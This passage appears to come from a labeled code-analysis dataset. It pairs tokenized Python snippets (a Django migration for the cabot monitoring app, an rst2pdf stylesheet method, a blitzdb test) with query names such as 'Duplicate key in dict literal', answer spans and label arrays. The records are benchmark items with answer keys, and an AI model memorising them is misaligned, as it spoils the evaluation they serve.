"Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "check", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "by", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "User", "']\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "deb", "oun", "ce", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "endpoint", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "expected", "\\u", "num", "\\u", "host", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "freque", "nc", "y", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "5", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "importance", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "ERROR", "'\"_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "run", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "max", "\\u", "queue", "d\\u", "build", "\\u", "time", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "metric", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "polymorphic", "\\u", "ctype", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"", "u", "'", "polymorphic", "\\u", "cab", "ota", "pp", ".", "statusc", "heck", "\\u", "set", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "\\u", "code", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "200", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "text", "\\u", "match", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "timeo", "ut", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "30", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "value", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verify", "\\u", "ssl", "\\u", "certifica", "te", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "statusc", "heck", "result", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'-", "time", "\\u", "complete", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Status", "Check", "Result", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "check", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Status", "Check", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "job", "\\u", "number", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "raw", "\\u", "data", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "succe", "eded", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "\\u", "complete", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "userprofile", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "User", "Profil", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fall", "back", "\\u", "alert", "\\u", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hip", "chat", "\\u", "alias", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"''\"_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mobile", "\\u", "number", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"''\"_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "20", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "One", "To", "One", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "profile", "'\"_", ",_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "contenttype", "s", ".", "contenttype", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "name", "',)\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "app", "\\u", "label", "',", " ", "'", "model", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Conten", "t", "Type", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "django", "\\u", "content", "\\u", "type", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "label", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "model", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "cab", "ota", "pp", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", "ing", " ", "field", " ", "'", "Alert", "Ack", "nowl", "edge", "ment", ".", "cancel", "led", "\\u", "time", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "add", "\\u", "column_", "(_", "u", "'", "cab", "ota", "pp", "\\u", "alert", "acknowledge", "ment", "'_", ",_", "'", "cancel", "led", "\\u", "time", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keep", "\\u", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "field", " ", "'", "Alert", "Ack", "nowl", "edge", "ment", ".", "cancel", "led", "\\u", "user", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "add", "\\u", "column_", "(_", "u", "'", "cab", "ota", "pp", "\\u", "alert", "acknowledge", "ment", "'_", ",_", "'", "cancel", "led", "\\u", "user", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "blank_", "=_", "True_", ",_", "relate", "d\\u", "name_", "=_", "'", "cancel", "led", "user", "\\u", "set", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keep", "\\u", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "field", " ", "'", "Alert", "Ack", "nowl", "edge", "ment", ".", "cancel", "led", "\\u", "time", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "delete", "\\u", "column_", "(_", "u", "'", "cab", "ota", "pp", "\\u", "alert", "acknowledge", "ment", "'_", ",_", "'", "cancel", "led", "\\u", "time", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "field", " ", "'", "Alert", "Ack", "nowl", "edge", "ment", ".", "cancel", "led", "\\u", "user", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "column_", "(_", "u", "'", "cab", "ota", "pp", "\\u", "alert", "acknowledge", "ment", "'_", ",_", "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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Duplicate key in dict literal
rst2pdf/rst2pdf/rst2pdf/styles.py
[ { "content": " def tstyleHead(self, rows=1):\n \"\"\"Return a table style spec for a table header of `rows`.\n\n The style will be based on the table-heading style from the stylesheet.\n\n \"\"\"\n # This alignment thing is exactly backwards from\n # the alignment for paragraphstyles\n alignment = {0: 'LEFT', 1: 'CENTER', 1: 'CENTRE', 2: 'RIGHT',\n 4: 'JUSTIFY', 8: 'DECIMAL'}[self['table-heading'].alignment]\n return [\n ('BACKGROUND',\n (0, 0),\n (-1, rows - 1),\n self['table-heading'].backColor),\n ('ALIGN',\n (0, 0),\n (-1, rows - 1),\n alignment),\n ('TEXTCOLOR',\n (0, 0),\n (-1, rows - 1),\n self['table-heading'].textColor),\n ('FONT',\n (0, 0),\n (-1, rows - 1),\n self['table-heading'].fontName,\n self['table-heading'].fontSize,\n self['table-heading'].leading),\n ('VALIGN',\n (0, 0),\n (-1, rows - 1),\n self['table-heading'].valign)]", "metadata": "root.StyleSheet.tstyleHead", "header": "['class', 'StyleSheet', '(', 'object', ')', ':', '___EOS___']", "index": 657 } ]
[ { "span": "1:", "start_line": 665, "start_column": 32, "end_line": 665, "end_column": 33 } ]
[]
1
true
[ "[CLS]_", "Duplicate", "_", "key_", "in_", "dict_", "literal_", "[SEP]_", "class_", "Style", "Sheet_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tst", "yle", "Head_", "(_", "self_", ",_", "rows_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "a", " ", "table", " ", "style", " ", "spec", " ", "for", " ", "a", " ", "table", " ", "header", " ", "of", " ", "`", "rows", "`.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "style", " ", "will", " ", "be", " ", "based", " ", "on", " ", "the", " ", "table", "-", "heading", " ", "style", " ", "from", " ", "the", " ", "stylesheet", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "alignme", "nt", " ", "thing", " ", "is", " ", "exact", "ly", " ", "back", "ward", "s", " ", "from_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "alignme", "nt", " ", "for", " ", "paragraph", "styles_", "\\u\\u\\uNL\\u\\u\\u_", "alignment_", "=_", "{_", "0_", ":_", "'", "LEF", "T", "'_", ",_", "1_", ":_", "'", "CENTER", "'_", ",_", "1_", ":_", "'", "CENTR", "E", "'_", ",_", "2_", ":_", "'", "RIG", "HT", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "4_", ":_", "'", "JU", "STI", "FY", "'_", ",_", "8_", ":_", "'", "DECIMAL", "'_", "}_", "[_", "self_", "[_", "'", "table", "-", "heading", "'_", "]_", "._", "alignment_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "BACKGROUND", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "-_", "1_", ",_", "rows_", "-_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "[_", "'", "table", "-", "heading", "'_", "]_", "._", "back", "Color_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "ALIGN", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "-_", "1_", ",_", "rows_", "-_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "alignment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "TEXT", "COLOR", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "-_", "1_", ",_", "rows_", "-_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "[_", "'", "table", "-", "heading", "'_", "]_", "._", "text", "Color_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "FONT", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "-_", "1_", ",_", "rows_", "-_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "[_", "'", "table", "-", "heading", "'_", "]_", "._", "font", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "[_", "'", "table", "-", "heading", "'_", "]_", "._", "font", "Size_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "[_", "'", "table", "-", "heading", "'_", "]_", "._", "lead", "ing_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "VAL", "IGN", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "-_", "1_", ",_", "rows_", "-_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "[_", "'", "table", "-", "heading", "'_", "]_", "._", "vali", "gn_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
adewes/blitzdb/blitzdb/tests/sql/test_basics.py
[ { "content": "def test_basics(backend):\n\n francis_coppola = Director({'name' : 'Francis Coppola'})\n backend.save(francis_coppola)\n\n the_godfather = Movie({'title' : 'The Godfather','director' : francis_coppola})\n apocalypse_now = Movie({'title' : 'Apocalypse Now'})\n star_wars_v = Movie({'title' : 'Star Wars V: The Empire Strikes Back'})\n\n backend.save(the_godfather)\n backend.save(apocalypse_now)\n\n marlon_brando = Actor({'name': 'Marlon Brando', 'movies' : [the_godfather,apocalypse_now]})\n al_pacino = Actor({'name': 'Al Pacino', 'movies' : [the_godfather]})\n francis_coppola.favorite_actor = al_pacino\n\n backend.save(marlon_brando)\n backend.save(al_pacino)\n backend.save(francis_coppola)\n backend.commit()\n\n result = backend.filter(Movie,{'director.name' : francis_coppola.name})\n assert len(result) == 1\n assert the_godfather in result\n\n result = backend.filter(Movie,{'director.name' : {'$in' : [francis_coppola.name,'Clint Eastwood']}})\n assert len(result) == 1\n assert the_godfather in result\n\n result = backend.filter(Actor,{'movies' : {'$all' : [the_godfather,apocalypse_now]}})\n\n assert len(result) == 1\n assert marlon_brando in result\n\n result = backend.filter(Actor,{'movies' : {'$in' : [the_godfather,apocalypse_now]}})\n\n assert marlon_brando in result\n assert al_pacino in result\n assert len(result) == 2\n\n result = backend.filter(Actor,{'movies.title' : 'The Godfather'})\n\n assert len(result) == 2\n assert marlon_brando in result\n\n result = backend.filter(Actor,{'movies' : {'$elemMatch' : {'title' : 'The Godfather'}}})\n\n assert len(result) == 2\n assert marlon_brando in result\n assert al_pacino in result\n\n result = backend.filter(Actor,{'movies' : {'$all' : [{'$elemMatch' : {'title' : 'The Godfather'}},{'$elemMatch' : {'title' : 'Apocalypse Now'}}]}})\n\n assert len(result) == 1\n assert marlon_brando in result\n\n result = backend.filter(Actor,{'movies' : {'$all' : [the_godfather,apocalypse_now]}})\n\n assert len(result) == 1\n assert marlon_brando in result\n assert al_pacino not in result\n\n with pytest.raises(AttributeError):\n #this query is ambiguous and hence not supported\n result = backend.filter(Actor,{'movies' : [the_godfather,apocalypse_now]})\n\n result = 